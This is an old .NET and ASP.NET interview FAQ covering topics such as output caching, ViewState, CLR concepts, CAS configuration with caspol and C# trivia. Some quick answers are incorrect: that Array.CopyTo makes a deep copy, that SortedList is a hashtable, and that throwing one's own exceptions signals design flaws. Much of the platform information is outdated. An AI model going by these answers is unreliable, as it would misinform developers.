VaryByParam: A semicolon-separated list of strings used to vary the output cache. By default, these
strings correspond to a query string value sent with GET method attributes, or a parameter sent using the
POST method. When this attribute is set to multiple parameters then the output cache contains a different
version of the requested document for each specified parameter. Possible values include none, *, and any
valid query string or POST parameter name.

VaryByHeader: A semicolon-separated list of HTTP headers used to vary the output cache. When this
attribute is set to multiple headers, the output cache contains a different version of the requested
document for each specified header.
What is the difference between repeater over datalist and datagrid?

The Repeater class is not derived from the WebControl class, like the DataGrid and DataList. Therefore, the
Repeater lacks the stylistic properties common to both the DataGrid and DataList. What this boils down to
is that if you want to format the data displayed in the Repeater then you must do so in the HTML
markup.

The Repeater control provides the maximum amount of flexibility over the HTML produced. Whereas the
DataGrid wraps the DataSource contents in an HTML < table >, and the DataList wraps the contents in
either an HTML < table > or < span > tags (depending on the DataList's RepeatLayout property), the
Repeater adds absolutely no HTML content other than what you explicitly specify in the templates.

While using the Repeater control, if we wanted to display the employee names in a bold font then we'd
need to alter the "ItemTemplate" to include an HTML bold tag. Whereas with the DataGrid or DataList, we
could have made the text appear in a bold font by setting the control's ItemStyle-Font-Bold property to
True.

The Repeater's lack of style properties can drastically add to the development time metric. For example,
imagine that you decide to use the Repeater to display data that needs to be bold, centered, and
displayed in a specific font-face with a specific background color. While all this can be specified using a
few HTML tags, these tags will quickly clutter the Repeater's templates. Such clutter makes it much harder
to change the look at a later date. Along with its increased development time, the Repeater also lacks any
built-in functionality to assist in supporting paging, editing, or editing of data. Due to this lack of feature-
support, the Repeater scores poorly on the usability scale.

However, The Repeater's performance is slightly better than that of the DataList's, and is noticeably better
than that of the DataGrid's. The following figure shows the number of requests per second the Repeater
could handle versus the DataGrid and DataList.

Can we handle the error and redirect to some pages using web.config?

Yes, we can do this, but to handle errors, we must know the error codes; only then we can take the user to
a proper error message page, else it may confuse the user.

CustomErrors Configuration section in web.config file:

The default configuration is:

< customErrors mode="RemoteOnly" defaultRedirect="Customerror.aspx" >
< error statusCode="404" redirect="Notfound.aspx" / >
< /customErrors >

If the mode is set to Off then the custom error messages will be disabled. Users will receive detailed
exception error messages.

If mode is set to On then custom error messages will be enabled.

If mode is set to RemoteOnly then then users will receive custom errors, but users accessing the site
locally will receive detailed error messages.

Add an < error > tag for each error you want to handle. The error tag will redirect the user to the
Notfound.aspx page when the site returns the 404 (Page not found) error.

[Example]

There is a page MainForm.aspx

Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles
MyBase.Load

'Put user code to initialize the page here

Dim str As System.Text.StringBuilder
str.Append("hi") ' Error Line as str is not instantiated
Response.Write(str.ToString)
End Sub

[Web.Config]

< customErrors mode="On" defaultRedirect="Error.aspx"/ >
' a simple redirect will take the user to Error.aspx [user defined] error file.
< customErrors mode="RemoteOnly" defaultRedirect="Customerror.aspx" >
< error statusCode="404" redirect="Notfound.aspx" / >
< /customErrors >

'This will take the user to NotFound.aspx defined in IIS.

How do you implement Paging in .Net?

The DataGrid provides the means to display a group of records from the data source (for example, the
first 10), and then navigate to the "page" containing the next 10 records, and so on through the data.

Using ADO.Net we can have explicit control over the number of records returned from the data source, as
well as how much data is to be cached locally in the DataSet as in the following:
1. Using the DataAdapter.fill method provides the value of the "Maxrecords" parameter

(Note:: Don't use it because the query will return all records but fill the dataset based on the value
of the "maxrecords" parameter).
2. For SQL Server databases, combine a WHERE clause and a ORDER BY clause with the TOP
predicate.
3. If data does not change often then just cache records locally in a DataSet and take some records
from the DataSet to display.
What is the difference between Server.Transfer and Response.Redirect?

Server.Transfer(): client is shown as it is on the requesting page only, but all the content is of the
requested page. Data can be persisted across the pages using the Context.Item collection, that is one of
the best ways to transfer data from one page to another keeping the page state alive.
Response.Dedirect(): the client knows the physical location (page name and query string as well).
Context.Items loses the persistence when navigate to destination page. In earlier versions of IIS, if we
wanted to send a user to a new Web page then the only option we had was Response.Redirect. While this
method does accomplish our goal, it has several important drawbacks. The biggest problem is that this
method causes each page to be treated as a separate transaction. Besides making it difficult to maintain
your transactional integrity, Response.Redirect introduces some additional headaches. First, it prevents
good encapsulation of code. Second, you lose access to all of the properties in the Request object. Sure,
there are workarounds, but they're difficult. Finally, Response.Redirect necessitates a round trip to the
client, which, on high-volume sites, causes scalability problems. As you might suspect, Server.Transfer fixes
all of these problems. It does this by performing the transfer on the server without requiring a roundtrip
to the client.
Response.Redirect sends a response to the client browser instructing it to request the second page. This
requires a round-trip to the client, and the client initiates the Request for the second page. Server.Transfer
transfers the process to the second page without making a round-trip to the client. It also transfers the
HttpContext to the second page, enabling the second page access to all the values in the HttpContext of
the first page.

Can you create an app domain?

Yes, we can create a user app domain by calling one of the following overload static methods of the
System.AppDomain class:
1. Public static AppDomain CreateDomain(String friendlyName)
2. Public static AppDomain CreateDomain(String friendlyName, Evidence securityInfo)
3. Public static AppDomain CreateDomain(String friendlyName, Evidence securityInfo,
AppDomainSetup info)
4. Public static AppDomain CreateDomain(String friendlyName, Evidence securityInfo, String
appBasePath, String appRelativeSearchPath, bool shadowCopyFiles)
What are the various security methods that IIS Provides apart from .NET?

The various security methods that IIS provides are:
Authentication Modes
IP Address and Domain Name Restriction
DNS Lookups DNS Lookups
The Network ID and Subnet Mask
SSL
What is Web Gardening? How would using it affect a design?

The Web Garden Model

The Web Garden model is configurable through the machine.config file. Notice that the section is the only
configuration section that cannot be placed in an application-specific web.config file. This means that the
Web Garden mode applies to all applications running on the machine. However, by using the node in the
machine.config source, you can adapt machine-wide settings on a per-application basis.

Two attributes in the section affect the Web Garden model. They are webGarden and cpuMask. The
webGarden attribute takes a Boolean value that indicates whether or not multiple worker processes (one
per each affinitized CPU) need to be used. The attribute is set to false by default. The cpuMask attribute
stores a DWORD value whose binary representation provides a bit mask for the CPUs that are eligible to
run the ASP.NET worker process. The default value is -1 (0xFFFFFF), which means that all available CPUs
can be used. The contents of the cpuMask attribute is ignored when the webGarden attribute is false. The
cpuMask attribute also sets an upper bound to the number of copies of aspnet_wp.exe that are running.

Web Gardening enables multiple worker processes to run at the same time. However, you should note
that all processes will have their own copy of application state, in-process session state, ASP.NET cache,
static data, and all that is needed to run applications. When the Web Garden mode is enabled, the
ASP.NET ISAPI launches as many worker processes as there are CPUs, each a full clone of the next (and
each affinitized with the corresponding CPU). To balance the workload, incoming requests are partitioned
among running processes in a round-robin manner. Worker processes get recycled as in the single
processor case. Note that ASP.NET inherits any CPU usage restriction from the operating system and
doesn't include any custom semantics for doing this.

All in all, the Web Garden model is not necessarily a big win for all applications. The more stateful
applications are, the more they risk to pay in terms of real performance. Working data is stored in blocks
of shared memory so that any changes entered by a process are immediately visible to others. However,
for the time it takes to service a request, working data is copied in the context of the process. Each worker
process, therefore, will handle its own copy of working data, and the more stateful the application, the
higher the cost in performance. In this context, careful and savvy application benchmarking is an absolute
must.

Changes made to the section of the configuration file are effective only after IIS is restarted. In IIS 6, Web
Gardening parameters are stored in the IIS metabase; the webGarden and cpuMask attributes are ignored.

What is view state? Where is it stored? Can we disable it?

The web is a state-less protocol, so the page is instantiated, executed, rendered and then disposed of on
every round trip to the server. The developer's code to add "statefulness" to the page by using server-side
storage for the state or posting the page to itself. When required to persist and read the data in a control
on a webform, the developer must read the values and store them in a hidden variable (in the form), that
were then used to restore the values. With the advent of the .NET Framework, ASP.NET offers the
ViewState mechanism that tracks the data values of server controls on an ASP.NET webform. In effect,
ViewState can be viewed as "hidden variable managed by the ASP.NET framework!". When an ASP.NET
page is executed, data values from all server controls on a page are collected and encoded as a single
string that is then assigned to the page's hidden atrribute "< input type=hidden >", that is part of the
page sent to the client.

The ViewState value is temporarily saved in the client's browser. ViewState can be disabled for a single
control, for an entire page or for an entire web application. The syntax is:

Disable ViewState for control (Datagrid in this example)

< asp:datagrid EnableViewState="false" ... / >
Disable ViewState for a page, using Page directive
< %@ Page EnableViewState="False" ... % >
Disable ViewState for application through entry in web.config
< Pages EnableViewState="false" ... / >

.NET FrameWork FAQ's

When was .NET announced?

Bill Gates delivered a keynote at Forum 2000, held June 22, 2000, outlining the .NET "vision". The July 2000
PDC had a number of sessions on .NET technology, and delegates were given CDs containing a pre-
release version of the .NET Framework/SDK and Visual Studio.NET.

When was the first version of .NET released?

The final version of the 1.0 SDK and runtime was made publicly available around 6 PM PST on 15-Jan-
2002. At the same time, the final version of Visual Studio.NET was made available to MSDN subscribers.

What platforms does the .NET Framework run on?

The runtime supports Windows XP, Windows 2000, NT4 SP6a and Windows ME/98. Windows 95 is not
supported. Some parts of the framework do not work on all platforms; for example, ASP.NET is only
supported on Windows XP and Windows 2000. Windows 98/ME cannot be used for development.

IIS is not supported on Windows XP Home Edition, and so cannot be used to host ASP.NET. However, the
ASP.NET Web Matrix web server does run on XP Home.
The Mono project is attempting to implement the .NET framework on Linux.

What is the CLR?

CLR = Common Language Runtime. The CLR is a set of standard resources that (in theory) any .NET
program can take advantage of, regardless of programming language. Robert Schmidt (Microsoft) lists
the following CLR resources in his MSDN PDC# article:
Object-oriented programming model (inheritance, polymorphism, exception handling, garbage
collection)
Security model
Type system
All .NET base classes
Many .NET framework classes
Development, debugging, and profiling tools
Execution and code management
IL-to-native translators and optimizers
What this means is that in the .NET world, various programming languages will be more equal in
capability than they have ever been before, although clearly not all languages will support all CLR services.

What is the CTS?

CTS = Common Type System. This is the range of types that the .NET runtime understands, and therefore
that .NET applications can use. However note that not all .NET languages will support all the types in the
CTS. The CTS is a superset of the CLS.

What is the CLS?

CLS = Common Language Specification. This is a subset of the CTS that all .NET languages are expected
to support. The idea is that any program that uses CLS-compliant types can interoperate with any .NET
program written in any language.
In theory this allows very tight interop between various .NET languages, for example allowing a C# class to
inherit from a VB class.

What is IL?

IL = Intermediate Language. Also known as MSIL (Microsoft Intermediate Language) or CIL (Common
Intermediate Language). All .NET source code (of any language) is compiled to IL. The IL is then converted
to machine code at the point where the software is installed, or at run-time by a Just-In-Time (JIT)
compiler.

What does "managed" mean in the .NET context?

The term "managed" is the cause of much confusion. It is used in various places within .NET, meaning
slightly different things. Managed code: The .NET framework provides several core run-time services to
the programs that run within it, for example
exception handling and security. For these services to work, the code must provide a minimum level of
information to the runtime.

Such code is called managed code. All C# and Visual Basic.NET code is managed by default. Visual Studio
7 C++ code is not managed by default, but the compiler can produce managed code by specifying a
command-line switch (/com+).

Managed data: This is data that is allocated and de-allocated by the .NET runtime's garbage collector. C#
and VB.NET data is always managed. Visual Studio 7 C++ data is unmanaged by default, even when using
the /com+ switch, but it can be marked as managed using the __gc keyword. Managed classes: This is
usually referred to in the context of Managed Extensions (ME) for C++. When using ME C++, a class can
be marked with the __gc keyword. As the name suggests, this means that the memory for instances of the
class is managed by the garbage collector, but it also means more than that. The class becomes a fully
paid-up member of the .NET community with the benefits and restrictions that brings. An example of a
benefit is proper interop with classes written in other languages, for example, a managed C++ class can
inherit from a VB class. An example of a restriction is that a managed class can only inherit from one base
class.

What is reflection?

All .NET compilers produce metadata about the types defined in the modules they produce. This
metadata is packaged along with the module (modules in turn are packaged together in assemblies), and
can be accessed by a mechanism called reflection. The System.Reflection namespace contains classes that
can be used to interrogate the types for a module/assembly.

Using reflection to access .NET metadata is very similar to using ITypeLib/ITypeInfo to access type library
data in COM, and it is used for similar purposes, for example determining data type sizes for marshaling
data across context/process/machine boundaries.
Reflection can also be used to dynamically invoke methods (see System.Type.InvokeMember ) , or even
create types dynamically at run-time (see System.Reflection.Emit.TypeBuilder).

What is the difference between Finalize and Dispose (Garbage collection) ?

Class instances often encapsulate control over resources that are not managed by the runtime, such as
window handles (HWND), database connections, and so on. Therefore, you should provide both an
explicit and an implicit way to free those resources. Provide implicit control by implementing the
protected Finalize Method on an object (destructor syntax in C# and the Managed Extensions for C++).
The garbage collector calls this method at some point after there are no longer any valid references to the
object. In some cases, you might want to provide programmers using an object with the ability to
explicitly release these external resources before the garbage collector frees the object. If an external
resource is scarce or expensive, better performance can be done if the programmer explicitly releases
resources when they are no longer being used. To provide explicit control, implement the Dispose
method provided by the IDisposable Interface. The consumer of the object should call this method when
it is done using the object.

Dispose can be called even if other references to the object are alive. Note that even when you provide
explicit control by way of Dispose, you should provide implicit cleanup using the Finalize method. Finalize
provides a backup to prevent resources from
permanently leaking if the programmer fails to call Dispose.

What is Partial Assembly References?

Full Assembly reference: A full assembly reference includes the assembly's text name, version, culture, and
public key token (if the assembly has a strong name). A full assembly reference is required if you reference
any assembly that is part of the common
language runtime or any assembly located in the Global Assembly Cache.

Partial Assembly reference: We can dynamically reference an assembly by providing only partial
information, such as specifying only the assembly name. When you specify a partial assembly reference,
the runtime looks for the assembly only in the application directory.

We can make partial references to an assembly in your code in one of the following ways:
Use a method such as System.Reflection.Assembly.Load and specify only a partial reference. The
runtime checks for the assembly in the application directory.
Use the System.Reflection.Assembly.LoadWithPartialName method and specify only a partial
reference. The runtime checks for the assembly in the application directory and in the Global
Assembly Cache.
Changes to which portion of version number indicates an incompatible change?

Major or minor. Changes to the major or minor portion of the version number indicate an incompatible
change. Under this convention, then version 2.0.0.0 would be considered incompatible with version
1.0.0.0. Examples of an incompatible change would be a change to the types of some method parameters
or the removal of a type or method altogether.
Build. The Build number is typically used to distinguish between daily builds or smaller compatible
releases.
Revision. Changes to the revision number are typically reserved for an incremental build needed to fix a
specific bug. You'll sometimes hear this referred to as the "emergency bug fix" number in that the revision
is what is often changed when a fix to a specific bug is shipped to a customer.
What is side-by-side execution? Can two applications, one using private assembly and the other using
Shared assembly be started as side-by-side executables? Side-by-side execution is the ability to run
multiple versions of an application or component on the same computer. You can have multiple versions
of the Common Language Runtime, and multiple versions of applications and components that use a
version of the runtime, on the same computer at the same time. Since versioning is only applied to shared
assemblies, and not to private assemblies, two applications, one using private assembly and one using
shared assembly cannot be started as side-by-side executables.

Why are strings called an immutable data type?

The memory representation of a string is an Array of Characters, so on re-assigning the new array of Char
is formed and the start address is changed, thus keeping the old string in memory for the Garbage
Collector to dispose.

What does assert() method do?

In debug compilations, assert takes in a Boolean condition as a parameter, and shows the error dialog if
the condition is false. The program proceeds without any interruption if the condition is true.

What's the difference between the Debug class and Trace class?

The documentation looks the same. Use the Debug class for debug builds, use the Trace class for both
debug and release builds.

Why are there five tracing levels in System.Diagnostics.TraceSwitcher?

The tracing dumps can be quite verbose. For applications that are constantly running you run the risk of
overloading the machine and the hard drive. Five levels range from None to Verbose, allowing you to
fine-tune the tracing activities.

Where is the output of TextWriterTraceListener redirected?

To the Console or a text file depending on the parameter passed to the constructor.

How do assemblies find each other?

By searching directory paths. There are several factors that can affect the path (such as the AppDomain
host, and application configuration files), but for private assemblies the search path is normally the
application's directory and its sub-directories. For shared assemblies, the search path is normally the same
as the private assembly path plus the shared assembly cache.

How does assembly versioning work?

Each assembly has a version number called the compatibility version. Also each reference to an assembly
(from another assembly) includes both the name and version of the referenced assembly.The version
number has four numeric parts (for example 5.5.2.33). Assemblies with either of the first two parts
different are normally viewed as incompatible. If the first two parts are the same, but the third is different,
the assemblies are deemed as "maybe compatible". If only the fourth part is different then the assemblies
are deemed compatible. However, this is just the default guideline, it is the version policy that decides to
what extent these rules are enforced. The version policy can be specified via the application configuration
file.

What is garbage collection?

Garbage collection is a system whereby a run-time component takes responsibility for managing the
lifetime of objects and the heap memory that they occupy. This concept is not new to .NET. Java and
many other languages/runtimes have used garbage collection for some time.

Why doesn't the .NET runtime offer deterministic destruction?

Because of the garbage collection algorithm. The .NET garbage collector works by periodically running
through a list of all the objects that are currently being referenced by an application. All the objects that it
doesn't find during this search are ready to be destroyed and the memory reclaimed. The implication of
this algorithm is that the runtime doesn't get notified immediately when the final reference on an object
goes away, it only determines during the next sweep of the heap.
Futhermore, this type of algorithm works best by performing the garbage collection sweep as rarely as
possible. Normally heap exhaustion is the trigger for a collection sweep.

Is the lack of deterministic destruction in .NET a problem?

It's certainly an issue that affects component design. If you have objects that maintain expensive or scarce
resources (for example database locks), you need to provide some way for the client to tell the object to
release the resource when it is done. Microsoft recommends that you provide a method called Dispose()
for this purpose. However, this causes problems for distributed objects, in a distributed system who calls
the Dispose() method? Some form of reference-counting or ownership-management mechanism is
needed to handle distributed objects, unfortunately the runtime offers no help with this.

What is serialization?

Serialization is the process of converting an object into a stream of bytes. Deserialization is the opposite
process of creating an object from a stream of bytes. Serialization / Deserialization is mostly used to
transport objects (for example during remoting), or to persist objects (for example to a file or database).

Does the .NET Framework have in-built support for serialization?

There are two separate mechanisms provided by the .NET class library, XmlSerializer and
SoapFormatter/BinaryFormatter. Microsoft uses XmlSerializer for Web Services, and uses
SoapFormatter/BinaryFormatter for remoting. Both are available for use in your own code.

Can I customise the serialization process?

Yes. XmlSerializer supports a range of attributes that can be used to configure serialization for a specific
class. For example, a field or property can be marked with the [XmlIgnore] attribute to exclude it from
serialization. Another example is the [XmlElement]
attribute, that can be used to specify the XML element name to be used for a specific property or field.
Serialization via SoapFormatter/BinaryFormatter can also be controlled to some extent by attributes. For
example, the [NonSerialized] attribute is the equivalent of XmlSerializer's [XmlIgnore] attribute. Ultimate
control of the serialization process can be acheived by implementing the the ISerializable interface on the
class whose instances are to be serialized.

Why is XmlSerializer so slow?

There is a once-per-process-per-type overhead with XmlSerializer. So the first time you serialize or
deserialize an object of a given type in an application, there is a significant delay. This normally doesn't
matter, but it may mean, for example, that XmlSerializer is a poor choice for loading configuration settings
during startup of a GUI application.

Why do I get errors when I try to serialize a Hashtable?

XmlSerializer will refuse to serialize instances of any class that implements IDictionary, for example
Hashtable. SoapFormatter and BinaryFormatter do not have this restriction.

What are attributes?

There are at least two types of .NET attributes. The first type I will refer to as a metadata attribute, it allows
some data to be attached to a class or method. This data becomes part of the metadata for the class, and
(like other class metadata) can be accessed via reflection.
The other type of attribute is a context attribute. Context attributes use a similar syntax to metadata
attributes but they are fundamentally different. Context attributes provide an interception mechanism
whereby instance activation and method calls can be
pre- and/or post-processed.

How does CAS work?

The CAS security policy revolves around two key concepts, code groups and permissions. Each .NET
assembly is a member of a specific code group, and each code group is granted the permissions specified
in a named permission set.
For example, using the default security policy, a control downloaded from a web site belongs to the "Zone
- Internet" code group, that adheres to the permissions defined by the "Internet" named permission set.
(Naturally the "Internet" named permission set represents a very restrictive range of permissions.)

Who defines the CAS code groups?

Microsoft defines some default ones, but you can modify these and even create your own. To see the
code groups defined on your system, run "caspol -lg" from the command-line. On my system it looks like
this:
Level = Machine

Code Groups

1. All code: Nothing
1.1. Zone: MyComputer: FullTrust
1.1.1. Honor SkipVerification requests: SkipVerification
1.2. Zone: Intranet: LocalIntranet
1.3. Zone: Internet: Internet
1.4. Zone: Untrusted: Nothing
1.5. Zone: Trusted: Internet
1.6. StrongName: 0024000004800000940000000602000000240000525341310004000003
000000CFCB3291AA715FE99D40D49040336F9056D7886FED46775BC7BB5430BA4444FEF8348EBD06
F962F39776AE4DC3B7B04A7FE6F49F25F740423EBF2C0B89698D8D08AC48D69CED0FC8F83B465E08
07AC11EC1DCC7D054E807A43336DDE408A5393A48556123272CEEEE72F1660B71927D38561AABF5C
AC1DF1734633C602F8F2D5:

Note the hierarchy of code groups, the top of the hierarchy is the most general ("All code"), that is then
sub-divided into several
groups, each of which in turn can be sub-divided. Also note that (somewhat counter-intuitively) a sub-
group can be associated with a more permissive permission set than its parent.

How do I define my own code group?

Use caspol. For example, suppose you trust code from http://www.mydomain.com/ and you want it to have
full access to your system, but you want to keep the default restrictions for all other internet sites. To do
this, you would add a new code group as a sub-group of the "Zone - Internet" group, like this:

caspol -ag 1.3 -site http://www.mydomain.com/ FullTrust

Now if you run caspol -lg then you will see that the new group has been added as group 1.3.1:

1.3. Zone: Internet: Internet
1.3.1. Site: http://www.mydomain.com/: FullTrust

Note that the numeric label (1.3.1) is just a caspol invention to make the code groups easy to manipulate
from the command-line. The underlying runtime never sees it.

How do I change the permission set for a code group?

Use caspol. If you are the machine administrator then you can operate at the "machine" level, which
means that not only do the changes you make become the default for the machine, but also those users
cannot change the permissions to be more permissive. If you are a normal (non-admin) user then you can
still modify the permissions, but only to make them more restrictive. For example, to allow intranet code
to do what it likes you might do this:
caspol -cg 1.2 FullTrust

Note that because this is more permissive than the default policy (on a standard system), you should only
do this at the machine level, doing it at the user level will have no effect.

I can't be bothered with all this CAS stuff. Can I turn it off?

Yes, as long as you are an administrator. Just run:
caspol -s off

Can I look at the IL for an assembly?

Yes. Microsoft supplies a tool called Ildasm that can be used to view the metadata and IL for an assembly.

Can source code be reverse-engineered from IL?

Yes, it is often relatively straightforward to regenerate high-level source (for example C#) from IL.

How can I stop my code being reverse-engineered from IL?

There is currently no simple way to stop code being reverse-engineered from IL. In the future it is likely
that IL obfuscation tools will become available, either from Microsoft or from third parties. These tools
work by "optimising" the IL in such a way that reverse-engineering becomes much more difficult.

Of course if you are writing web services then reverse-engineering is not a problem as clients do not have
access to your IL.

Is there built-in support for tracing/logging?

Yes, in the System.Diagnostics namespace. There are two main classes that deal with tracing, Debug and
Trace. They both work in a similar way, the difference is that tracing from the Debug class only works in
builds that have the DEBUG symbol defined, whereas tracing from the Trace class only works in builds that
have the TRACE symbol defined. Typically this means that you should use
System.Diagnostics.Trace.WriteLine for tracing that you want to work in debug and release builds, and
System.Diagnostics.Debug.WriteLine for tracing that you want to work only in debug builds.

Can I redirect tracing to a file?

Yes. The Debug and Trace classes both have a Listeners property, that is a collection of sinks that receive
the tracing that you send via Debug.WriteLine and Trace.WriteLine respectively. By default the Listeners
collection contains a single sink, that is an
instance of the DefaultTraceListener class. This sends output to the Win32 OutputDebugString() function
and also the System.Diagnostics.Debugger.Log() method. This is useful when debugging, but if you're
trying to trace a problem at a customer site then redirecting the output to a file is more appropriate.
Fortunately, the TextWriterTraceListener class is provided for this purpose.

What are the contents of an assembly?

In general, a static assembly can consist of the four elements:
1. The assembly manifest, that contains assembly metadata.
2. Type metadata.
3. Microsoft Intermediate Language (MSIL) code that implements the types.
4. A set of resources.
What is GC (Garbage Collection) and how it works

One of the good features of the CLR is Garbage Collection, that runs in the background collecting unused
object references, freeing us from having to ensure we always destroy them. In reality the time difference
between you releasing the object instance and it being garbage collected is likely to be very small, since
the GC is always running.
[The process of transitively tracing through all pointers to actively used objects to locate all objects that
can be referenced, and then arranging to reuse any heap memory that was not found during this trace.
The Common Language Runtime garbage collector also compacts the memory that is in use to reduce the
working space needed for the heap.]

Heap

A portion of memory reserved for a program to use for the temporary storage of data structures whose
existence or size cannot be determined until the program is running.

Differnce between Managed code and unmanaged code?

Managed Code:

Code that runs under a "contract of cooperation" with the Common Language Runtime. Managed code
must supply the metadata necessary for the runtime to provide services such as memory management,
cross-language integration, code access security, and automatic lifetime control of objects. All code based
on Microsoft Intermediate Language (MSIL) executes as managed code.

Un-Managed Code

Code that is created without regard for the conventions and requirements of the Common Language
Runtime. Unmanaged code executes in the Common Language Runtime environment with minimal
services (for example, no garbage collection, limited debugging, and so on).

What is MSIL, IL, CTS and, CLR ?

MSIL: (Microsoft Intermediate Language)

When compiling to managed code, the compiler translates your source code into Microsoft Intermediate
Language (MSIL), that is a CPU-independent set of instructions that can be efficiently converted to native
code. MSIL includes instructions for loading, storing, initializing, and calling methods on objects, as well as
instructions for arithmetic and logical operations, control flow, direct memory access, exception handling,
and other operations. Before code can be executed, MSIL must be converted to CPU-specific code, usually
by a Just-In-Time (JIT) compiler. Because the Common Language Runtime supplies one or more JIT
compilers for each computer architecture it supports, the same set of MSIL can be JIT-compiled and
executed on any supported architecture.

When a compiler produces MSIL, it also produces metadata. Metadata describes the types in your code,
including the definition of each type, the signatures of each type's members, the members that your code
references, and other data that the runtime uses at execution time. The MSIL and metadata are contained
in a Portable Executable (PE) file that is based on and extends the published Microsoft PE and Common
Object File Format (COFF) used historically for executable content. This file format, that
accommodates MSIL or native code as well as metadata, enables the operating system to recognize
Common Language Runtime images. The presence of metadata in the file along with the MSIL enables
your code to describe itself, that means that there is no need for type libraries or Interface Definition
Language (IDL). The runtime locates and extracts the metadata from the file as needed during execution.

IL: (Intermediate Language)

A language used as the output of a number of compilers and as the input to a Just-In-Time (JIT) compiler.
The Common Language Runtime includes a JIT compiler for converting MSIL to native code.

CTS: (Common Type System)

The specification that determines how the Common Language Runtime defines, uses, and manages types.

CLR: (Common Language Runtime)

The engine at the core of managed code execution. The runtime supplies managed code with services
such as cross-language integration, code access security, object lifetime management, and debugging
and profiling support.

What is Reference type and value type ?

Reference Type

Reference types are allocated on the managed CLR heap, just like object types. A data type that is stored
as a reference to the value's location. The value of a reference type is the location of the sequence of
bits that represent the type's data. Reference types can be self-describing types, pointer types, or interface
types.

Value Type

Value types are allocated on the stack just like primitive types in VBScript, VB6 and C/C++. Value types
that are not instantiated using new go out of scope when the function they are defined within returns.
Value types in the CLR are defined as types that derive from system.valueType.

A data type that fully describes a value by specifying the sequence of bits that constitutes the value's
representation. Type information for a value type instance is not stored with the instance at run time, but
it is available in metadata. Value type instances can be treated as objects using boxing.

What is Boxing and unboxing ?

Boxing

The conversion of a value type instance to an object, that implies that the instance will carry full type
information at run time and will be allocated in the heap. The Microsoft Intermediate Language (MSIL)
instruction set's box instruction converts a value type to an object by making a copy of the value type and
embedding it in a newly allocated object.

Un-Boxing

The conversion of an object instance to a value type.

What is JIT and how does it work?

An acronym for "Just-In-Time", a phrase that describes an action that is taken only when it becomes
necessary, such as Just-In-Time compilation or Just-In-Time object activation.

What is Portable Executable (PE)?

The file format used for executable programs and for files to be linked together to form executable
programs.

What is a strong name?

A name that consists of an assembly's identity; its simple text name, version number, and culture
information (if provided) strengthened by a public key and a digital signature generated over the
assembly. Because the assembly manifest
contains file hashes for all the files that constitute the assembly implementation, it is sufficient to generate
the digital signature over just the one file in the assembly that contains the assembly manifest. Assemblies
with the same strong name are expected to be identical.

What is Global Assembly Cache?

A machine-wide code cache that stores assemblies specifically installed to be shared by many applications
on the computer. Applications deployed in the Global Assembly Cache must have a strong name.

What is the difference between constants, readonly and, static?

Constants: The value can't be changed
Read-only: The value will be initialized only once from the constructor of the class.
Static: Value can be initialized once.

What is difference between shared and public?

An assembly that can be referenced by more than one application. An assembly must be explicitly built to
be shared by giving it a cryptographically strong name.

What is namespace used for loading assemblies at run time and name the methods?

System.Reflection

What are the types of authentication in .Net?

We have three types of authentication:
1. Form authentication
2. Windows authentication
3. Passport
This has to be declared in the web.config file.

What is the difference between a Struct and a Class ?

The struct type is suitable for representing lightweight objects such as Point, Rectangle, and Color.
Although it is possible to represent a point as a class, a struct is more efficient in some scenarios. For
example, if you declare an array of 1000 Point objects,
you will allocate additional memory for referencing each object. In this case, the struct is less expensive.

When you create a struct object using the new operator, it gets created and the appropriate constructor is
called. Unlike classes, structs can be instantiated without using the new operator. If you do not use new
then the fields will remain unassigned and the object cannot be used until all of the fields are initialized. It
is an error to declare a default (parameterless) constructor for a struct. A default constructor is always
provided to initialize the struct members to their default values.

It is an error to initialize an instance field in a struct.

There is no inheritance for structs as there is for classes. A struct cannot inherit from another struct or
class, and it cannot be the base of a class. Structs, however, inherit from the base class Object. A struct can
implement interfaces, and it does that exactly as classes do. A struct is a value type, while a class is a
reference type.

How big is the datatype int in .NET?

32 bits.

How big is the char?

16 bits (Unicode).

How do you initiate a string without escaping each backslash?

Put an @ sign in front of the double-quoted string.

What's the access level of the visibility type internal?

Current application.

Explain encapsulation ?

The implementation is hidden, the interface is exposed.

What data type should you use if you want an 8-bit value that's signed?

sbyte.

Speaking of Boolean data types, what's different between C# and C/C++?

There's no conversion between 0 and false, as well as any other number and true, like in C/C++.

Where are the value-type variables allocated in the computer RAM?

Stack.

Where do the reference-type variables go in the RAM?

The references go on the stack, while the objects themselves go on the heap.

What is the difference between the value-type variables and reference-type variables in terms of
garbage collection?

The value-type variables are not garbage-collected, they are just popped off the stack when they go out
of scope, the reference-type objects
are picked up by GC when their references go null.

How do you convert a string into an integer in .NET?

Int32.Parse(string)

How do you box a primitive data type variable?

Assign it to the object, pass an object.

Why do you need to box a primitive variable?

To pass it by reference.

What's the difference between Java and .NET garbage collectors?

Sun left the implementation of a specific garbage collector up to the JRE developer, so their performance
varies widely, depending on whose JRE you're using. Microsoft standardized on their garbage collection.

How do you enforce garbage collection in .NET?

System.GC.Collect();

What's different about namespace declaration when comparing that to package declaration in
Java?

No semicolon.

What's the difference between const and readonly?

You can initialize readonly variables to some runtime values. Let's say your program uses current date and
time as one of the values that won't change. This way you declare public readonly string DateT = new
DateTime().ToString().

What happens when you encounter a continue statement inside the for loop?

The code for the rest of the loop is ignored, the control is transferred back to the beginning of the loop.

What's the advantage of using System.Text.StringBuilder over System.String?

StringBuilder is more efficient in the cases where a lot of manipulation is done to the text. Strings are
immutable, so each time it's being operated on, a new instance is created.

Can you store multiple data types in System.Array?

No.

What's the difference between the System.Array.CopyTo() and System.Array.Clone()?

The first one performs a deep copy of the array, the second one is shallow.

How can you sort the elements of the array in descending order?

By calling Sort() and then Reverse() methods.

What's the .NET datatype that allows the retrieval of data by a unique key?

HashTable.

What's class SortedList underneath?

A sorted HashTable.

Will a finally block be executed if the exception had not occurred?

Yes.

Can multiple catch blocks be executed?

No, once the proper catch code fires off, the control is transferred to the finally block (if there are any) and
then whatever follows the finally block.

Why is it a bad idea to throw your own exceptions?

Well, if at that point you know that an error has occurred, then why not write the proper code to handle
that error instead of passing a new Exception object to the catch block? Throwing your own exceptions
signifies some design flaws in the project.

What's a delegate?

A delegate object encapsulates a reference to a method. In C++ they were referred to as function
pointers.

What's a multicast delegate?

It's a delegate that points to and eventually fires off several methods.

How's the DLL Hell problem solved in .NET?

Assembly versioning allows the application to specify not only the library it needs to run (that was
available under Win32), but also the version of the assembly.

What are the ways to deploy an assembly?

An MSI installer, a CAB archive, and XCOPY command.

What's a satellite assembly?

When you write a multilingual or multi-cultural application in .NET and want to distribute the core
application separately from the localized modules, the localized assemblies that modify the core
application are called satellite assemblies.

